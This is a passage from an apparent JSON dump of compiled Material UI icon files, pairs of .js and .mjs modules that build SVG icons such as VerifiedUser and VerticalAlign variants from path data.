    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.49 9.88.08-.85.18-1.95-1.9-.43-.84-.19-.44-.74-.99-1.68-1.79.76-.79.34-.79-.34-1.79-.77-.99 1.68-.44.74-.84.19-1.9.43.18 1.94.08.85-.56.65-1.29 1.48 1.29 1.47.56.65-.08.85-.18 1.96 1.9.43.84.19.44.74.99 1.67 1.78-.77.8-.33.79.34 1.78.77.99-1.68.44-.74.84-.19 1.9-.43-.18-1.95-.08-.85.56-.65L20.33 12l-1.29-1.47zm-8.4 6.84-3.8-3.81 1.48-1.48 2.32 2.33 5.85-5.87 1.48 1.48z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 11.99 20.56 9.2l.34-3.69-3.61-.82L15.4 1.5 12 2.96 8.6 1.5 6.71 4.69 3.1 5.5l.34 3.7L1 11.99l2.44 2.79-.34 3.7 3.61.82 1.89 3.2 3.4-1.47 3.4 1.46 1.89-3.19 3.61-.82-.34-3.69zm-3.95 1.48-.56.65.08.85.18 1.95-1.9.43-.84.19-.44.74-.99 1.68-1.78-.77-.8-.34-.79.34-1.78.77-.99-1.67-.44-.74-.84-.19-1.9-.43.18-1.96.08-.85-.56-.65L3.67 12l1.29-1.48.56-.65-.09-.86-.18-1.94 1.9-.43.84-.19.44-.74.99-1.68 1.78.77.8.34.79-.34 1.78-.77.99 1.68.44.74.84.19 1.9.43-.18 1.95-.08.85.56.65 1.29 1.47z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.09 13.75-2.32-2.33-1.48 1.49 3.8 3.81 7.34-7.36-1.48-1.49z\"\n}, \"2\")], 'VerifiedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerifiedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.49 9.88.08-.85.18-1.95-1.9-.43-.84-.19-.44-.74-.99-1.68-1.79.76-.79.34-.79-.34-1.79-.77-.99 1.68-.44.74-.84.19-1.9.43.18 1.94.08.85-.56.65-1.29 1.48 1.29 1.47.56.65-.08.85-.18 1.96 1.9.43.84.19.44.74.99 1.67 1.78-.77.8-.33.79.34 1.78.77.99-1.68.44-.74.84-.19 1.9-.43-.18-1.95-.08-.85.56-.65L20.33 12l-1.29-1.47zm-8.4 6.84-3.8-3.81 1.48-1.48 2.32 2.33 5.85-5.87 1.48 1.48z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 11.99 20.56 9.2l.34-3.69-3.61-.82L15.4 1.5 12 2.96 8.6 1.5 6.71 4.69 3.1 5.5l.34 3.7L1 11.99l2.44 2.79-.34 3.7 3.61.82 1.89 3.2 3.4-1.47 3.4 1.46 1.89-3.19 3.61-.82-.34-3.69zm-3.95 1.48-.56.65.08.85.18 1.95-1.9.43-.84.19-.44.74-.99 1.68-1.78-.77-.8-.34-.79.34-1.78.77-.99-1.67-.44-.74-.84-.19-1.9-.43.18-1.96.08-.85-.56-.65L3.67 12l1.29-1.48.56-.65-.09-.86-.18-1.94 1.9-.43.84-.19.44-.74.99-1.68 1.78.77.8.34.79-.34 1.78-.77.99 1.68.44.74.84.19 1.9.43-.18 1.95-.08.85.56.65 1.29 1.47z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.09 13.75-2.32-2.33-1.48 1.49 3.8 3.81 7.34-7.36-1.48-1.49z\"\n}, \"2\")], 'VerifiedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerifiedUser.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm-2 16-4-4 1.41-1.41L10 14.17l6.59-6.59L18 9z\"\n}), 'VerifiedUser');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerifiedUser.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm-2 16-4-4 1.41-1.41L10 14.17l6.59-6.59L18 9z\"\n}), 'VerifiedUser');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerifiedUserOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm7 10c0 4.52-2.98 8.69-7 9.93-4.02-1.24-7-5.41-7-9.93V6.3l7-3.11 7 3.11zm-11.59.59L6 13l4 4 8-8-1.41-1.42L10 14.17z\"\n}), 'VerifiedUserOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerifiedUserOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm7 10c0 4.52-2.98 8.69-7 9.93-4.02-1.24-7-5.41-7-9.93V6.3l7-3.11 7 3.11zm-11.59.59L6 13l4 4 8-8-1.41-1.42L10 14.17z\"\n}), 'VerifiedUserOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerifiedUserRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.19 1.36-7 3.11C3.47 4.79 3 5.51 3 6.3V11c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V6.3c0-.79-.47-1.51-1.19-1.83l-7-3.11c-.51-.23-1.11-.23-1.62 0m-1.9 14.93L6.7 13.7a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L10 14.17l5.88-5.88c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-6.59 6.59c-.38.39-1.02.39-1.41 0\"\n}), 'VerifiedUserRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerifiedUserRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.19 1.36-7 3.11C3.47 4.79 3 5.51 3 6.3V11c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V6.3c0-.79-.47-1.51-1.19-1.83l-7-3.11c-.51-.23-1.11-.23-1.62 0m-1.9 14.93L6.7 13.7a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L10 14.17l5.88-5.88c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-6.59 6.59c-.38.39-1.02.39-1.41 0\"\n}), 'VerifiedUserRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerifiedUserSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm-2 16-4-4 1.41-1.41L10 14.17l6.59-6.59L18 9z\"\n}), 'VerifiedUserSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerifiedUserSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm-2 16-4-4 1.41-1.41L10 14.17l6.59-6.59L18 9z\"\n}), 'VerifiedUserSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerifiedUserTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm7 10c0 4.52-2.98 8.69-7 9.93-4.02-1.24-7-5.41-7-9.93V6.3l7-3.11 7 3.11zm-11.59.59L6 13l4 4 8-8-1.41-1.42L10 14.17z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 6.3V11c0 4.52 2.98 8.69 7 9.93 4.02-1.23 7-5.41 7-9.93V6.3l-7-3.11zM18 9l-8 8-4-4 1.41-1.41L10 14.17l6.59-6.59z\",\n  opacity: \".3\"\n}, \"1\")], 'VerifiedUserTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerifiedUserTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm7 10c0 4.52-2.98 8.69-7 9.93-4.02-1.24-7-5.41-7-9.93V6.3l7-3.11 7 3.11zm-11.59.59L6 13l4 4 8-8-1.41-1.42L10 14.17z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 6.3V11c0 4.52 2.98 8.69 7 9.93 4.02-1.23 7-5.41 7-9.93V6.3l-7-3.11zM18 9l-8 8-4-4 1.41-1.41L10 14.17l6.59-6.59z\",\n  opacity: \".3\"\n}, \"1\")], 'VerifiedUserTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignBottom.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 13h-3V3h-2v10H8l4 4zM4 19v2h16v-2z\"\n}), 'VerticalAlignBottom');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignBottom.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 13h-3V3h-2v10H8l4 4zM4 19v2h16v-2z\"\n}), 'VerticalAlignBottom');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignBottomOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 13h-3V3h-2v10H8l4 4zM4 19v2h16v-2z\"\n}), 'VerticalAlignBottomOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignBottomOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 13h-3V3h-2v10H8l4 4zM4 19v2h16v-2z\"\n}), 'VerticalAlignBottomOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignBottomRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.79 13H13V4c0-.55-.45-1-1-1s-1 .45-1 1v9H9.21c-.45 0-.67.54-.35.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.31-.31.09-.85-.36-.85M4 20c0 .55.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1\"\n}), 'VerticalAlignBottomRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignBottomRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.79 13H13V4c0-.55-.45-1-1-1s-1 .45-1 1v9H9.21c-.45 0-.67.54-.35.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.31-.31.09-.85-.36-.85M4 20c0 .55.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1\"\n}), 'VerticalAlignBottomRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignBottomSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 13h-3V3h-2v10H8l4 4zM4 19v2h16v-2z\"\n}), 'VerticalAlignBottomSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignBottomSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 13h-3V3h-2v10H8l4 4zM4 19v2h16v-2z\"\n}), 'VerticalAlignBottomSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignBottomTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 3v10H8l4 4 4-4h-3V3zM4 19h16v2H4z\"\n}), 'VerticalAlignBottomTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignBottomTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 3v10H8l4 4 4-4h-3V3zM4 19h16v2H4z\"\n}), 'VerticalAlignBottomTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignCenter.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 19h3v4h2v-4h3l-4-4zm8-14h-3V1h-2v4H8l4 4zM4 11v2h16v-2z\"\n}), 'VerticalAlignCenter');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignCenter.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 19h3v4h2v-4h3l-4-4zm8-14h-3V1h-2v4H8l4 4zM4 11v2h16v-2z\"\n}), 'VerticalAlignCenter');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignCenterOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 19h3v4h2v-4h3l-4-4zm8-14h-3V1h-2v4H8l4 4zM4 11v2h16v-2z\"\n}), 'VerticalAlignCenterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignCenterOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 19h3v4h2v-4h3l-4-4zm8-14h-3V1h-2v4H8l4 4zM4 11v2h16v-2z\"\n}), 'VerticalAlignCenterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignCenterRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.21 19H11v3c0 .55.45 1 1 1s1-.45 1-1v-3h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.2-.2-.51-.2-.71 0l-2.79 2.79c-.31.31-.09.85.36.85m5.58-14H13V2c0-.55-.45-1-1-1s-1 .45-1 1v3H9.21c-.45 0-.67.54-.36.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.32-.31.1-.85-.35-.85M4 12c0 .55.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1\"\n}), 'VerticalAlignCenterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignCenterRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.21 19H11v3c0 .55.45 1 1 1s1-.45 1-1v-3h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.2-.2-.51-.2-.71 0l-2.79 2.79c-.31.31-.09.85.36.85m5.58-14H13V2c0-.55-.45-1-1-1s-1 .45-1 1v3H9.21c-.45 0-.67.54-.36.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.32-.31.1-.85-.35-.85M4 12c0 .55.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1\"\n}), 'VerticalAlignCenterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignCenterSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 19h3v4h2v-4h3l-4-4zm8-14h-3V1h-2v4H8l4 4zM4 11v2h16v-2z\"\n}), 'VerticalAlignCenterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignCenterSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 19h3v4h2v-4h3l-4-4zm8-14h-3V1h-2v4H8l4 4zM4 11v2h16v-2z\"\n}), 'VerticalAlignCenterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignCenterTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 1v4H8l4 4 4-4h-3V1zM4 11h16v2H4zm4 8h3v4h2v-4h3l-4-4z\"\n}), 'VerticalAlignCenterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignCenterTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 1v4H8l4 4 4-4h-3V1zM4 11h16v2H4zm4 8h3v4h2v-4h3l-4-4z\"\n}), 'VerticalAlignCenterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignTop.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 11h3v10h2V11h3l-4-4zM4 3v2h16V3z\"\n}), 'VerticalAlignTop');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignTop.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 11h3v10h2V11h3l-4-4zM4 3v2h16V3z\"\n}), 'VerticalAlignTop');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignTopOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 11h3v10h2V11h3l-4-4zM4 3v2h16V3z\"\n}), 'VerticalAlignTopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignTopOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 11h3v10h2V11h3l-4-4zM4 3v2h16V3z\"\n}), 'VerticalAlignTopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignTopRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.21 11H11v9c0 .55.45 1 1 1s1-.45 1-1v-9h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.2-.2-.51-.2-.71 0l-2.79 2.79c-.31.31-.09.85.36.85M4 4c0 .55.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1\"\n}), 'VerticalAlignTopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignTopRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.21 11H11v9c0 .55.45 1 1 1s1-.45 1-1v-9h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.2-.2-.51-.2-.71 0l-2.79 2.79c-.31.31-.09.85.36.85M4 4c0 .55.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1\"\n}), 'VerticalAlignTopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignTopSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 11h3v10h2V11h3l-4-4zM4 3v2h16V3z\"\n}), 'VerticalAlignTopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VerticalAlignTopSharp.mjs",
